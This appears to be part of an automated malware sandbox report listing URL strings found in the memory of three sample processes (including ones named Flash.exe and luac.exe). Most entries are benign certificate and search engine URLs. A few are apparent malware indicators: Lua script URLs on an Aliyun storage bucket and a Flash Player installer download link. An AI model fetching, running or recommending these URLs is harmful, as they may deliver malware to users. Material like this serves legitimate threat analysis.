Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/GeoTrustCNRSACAG1.crl04
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: Flash.exe, 00000004.00000002.482606794.0000000008EA0000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/ssca-sha2-g7.crl0/
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Flash.exe, 00000004.00000002.482606794.0000000008EA0000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/GeoTrustCNRSACAG1.crl0L
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: Flash.exe, 00000004.00000002.482606794.0000000008EA0000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/ssca-sha2-g7.crl0
Source: luac.exe, 00000002.00000003.217042136.000000000070E000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?d48bd45c42c02
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://de.search.yahoo.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://es.ask.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://es.search.yahoo.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://esearch.rakuten.co.jp/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://espanol.search.yahoo.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://espn.go.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://find.joins.com/
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://fr.search.yahoo.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://google.pchome.com.tw/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://home.altervista.org/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://home.altervista.org/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://ie.search.yahoo.com/os?command=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://ie8.ebay.com/open-search/output-xml.php?q=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://image.excite.co.jp/jp/favicon/lep.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://images.joins.com/ui_c/fvc_joins.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://images.monster.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://img.atlas.cz/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://img.shopzilla.com/shopzilla/shopzilla.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://in.search.yahoo.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://it.search.dada.net/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://it.search.dada.net/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://it.search.yahoo.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://jobsearch.monster.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://kr.search.yahoo.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://list.taobao.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://list.taobao.com/browse/search_visual.htm?n=15&q=
Source: luac.exe, 00000002.00000002.471620274.0000000000910000.00000004.00000001.sdmp	String found in binary or memory: http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/1-CS-443.lua
Source: luac.exe, 00000002.00000002.471620274.0000000000910000.00000004.00000001.sdmp	String found in binary or memory: http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/1-CS-443.luaj
Source: luac.exe, 00000002.00000002.469623254.0000000000535000.00000004.00000020.sdmp	String found in binary or memory: http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://mail.live.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://mail.live.com/?rru=compose%3Fsubject%3D
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://msk.afisha.ru/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://ocnsearch.goo.ne.jp/
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.dcocsp.cn0
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.dcocsp.cn0D
Source: Flash.exe, 00000004.00000002.482606794.0000000008EA0000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.dig
Source: Flash.exe, 00000004.00000002.482606794.0000000008EA0000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: Flash.exe, 00000004.00000002.482606794.0000000008EA0000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0F
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://openimage.interpark.com/interpark.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://p.zhongsou.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://p.zhongsou.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://price.ru/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://price.ru/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://recherche.linternaute.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://recherche.tf1.fr/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://recherche.tf1.fr/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://rover.ebay.com
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://ru.search.yahoo.com
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://sads.myspace.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search-dyn.tiscali.it/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.about.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.alice.it/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.alice.it/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.aol.co.uk/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.aol.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.aol.in/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.atlas.cz/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.auction.co.kr/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.auone.jp/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.books.com.tw/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.books.com.tw/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.centrum.cz/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.centrum.cz/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.chol.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.chol.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.cn.yahoo.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.daum.net/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.daum.net/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.dreamwiz.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.dreamwiz.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.ebay.co.uk/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.ebay.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.ebay.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.ebay.de/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.ebay.es/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.ebay.fr/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.ebay.in/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.ebay.it/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.empas.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.empas.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.espn.go.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.gamer.com.tw/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.gamer.com.tw/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.gismeteo.ru/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.goo.ne.jp/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.goo.ne.jp/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.hanafos.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.hanafos.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.interpark.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.ipop.co.kr/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.ipop.co.kr/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?FORM=IEFM1&q=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?FORM=SO2TDF&q=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?FORM=SOLTDF&q=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?q=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.livedoor.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.livedoor.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.lycos.co.uk/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.lycos.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.lycos.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.msn.co.jp/results.aspx?q=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.msn.co.uk/results.aspx?q=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.msn.com.cn/results.aspx?q=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.msn.com/results.aspx?q=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.nate.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.naver.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.naver.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.nifty.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.orange.co.uk/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.orange.co.uk/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.rediff.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.rediff.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.seznam.cz/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.seznam.cz/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.sify.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.yahoo.co.jp
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.yahoo.co.jp/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.yahoo.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.yahoo.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.yahooapis.jp/AssistSearchService/V2/webassistSearch?output=iejson&p=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search.yam.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search1.taobao.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://search2.estadao.com.br/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://searchresults.news.com.au/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://service2.bfast.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://sitesearch.timesonline.co.uk/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://so-net.search.goo.ne.jp/
Source: 8v4iWYLvKJ.exe, 00000001.00000000.199882317.00007FF6567BE000.00000002.00020000.sdmp, 8v4iWYLvKJ.exe, 00000001.00000003.204019773.0000020BF54DB000.00000004.00000001.sdmp	String found in binary or memory: http://softres.oss-accelerate.aliyuncs.com/flashplayerpp_ax_install_cn_fc.exe
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204019773.0000020BF54DB000.00000004.00000001.sdmp	String found in binary or memory: http://softres.oss-accelerate.aliyuncs.com/flashplayerpp_ax_install_cn_fc.exe.muiI
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://suche.aol.de/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://suche.freenet.de/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://suche.freenet.de/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://suche.lycos.de/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://suche.t-online.de/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://suche.web.de/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://suche.web.de/favicon.ico
Source: Flash.exe, 00000004.00000002.479779132.00000000059E0000.00000002.00000001.sdmp	String found in binary or memory: http://treyresearch.net
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://tw.search.yahoo.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://udn.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://udn.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://uk.ask.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://uk.ask.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://uk.search.yahoo.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://vachercher.lycos.fr/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://video.globo.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://video.globo.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://web.ask.com/
Source: Flash.exe, 00000004.00000002.479779132.00000000059E0000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.com
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.abril.com.br/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.abril.com.br/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.afisha.ru/App_Themes/Default/images/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.alarabiya.net/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.alarabiya.net/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.amazon.co.jp/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.amazon.co.uk/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.amazon.com/exec/obidos/external-search/104-2981279-3455918?index=blended&keyword=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.amazon.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.amazon.com/gp/search?ie=UTF8&tag=ie8search-20&index=blended&linkCode=qs&c
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.amazon.de/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.aol.com/favicon.ico
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.arrakis.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.arrakis.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.asharqalawsat.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.asharqalawsat.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.ask.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.auction.co.kr/auction.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.baidu.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.baidu.com/favicon.ico
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.cdiscount.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.cdiscount.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.ceneo.pl/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.ceneo.pl/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.chennaionline.com/ncommon/images/collogo.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.cjmall.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.cjmall.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.clarin.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.cnet.co.uk/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.cnet.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.dailymail.co.uk/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.dailymail.co.uk/favicon.ico
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.482606794.0000000008EA0000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.docUrl.com/bar.htm
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.etmall.com.tw/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.etmall.com.tw/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.excite.co.jp/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.expedia.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.expedia.com/favicon.ico
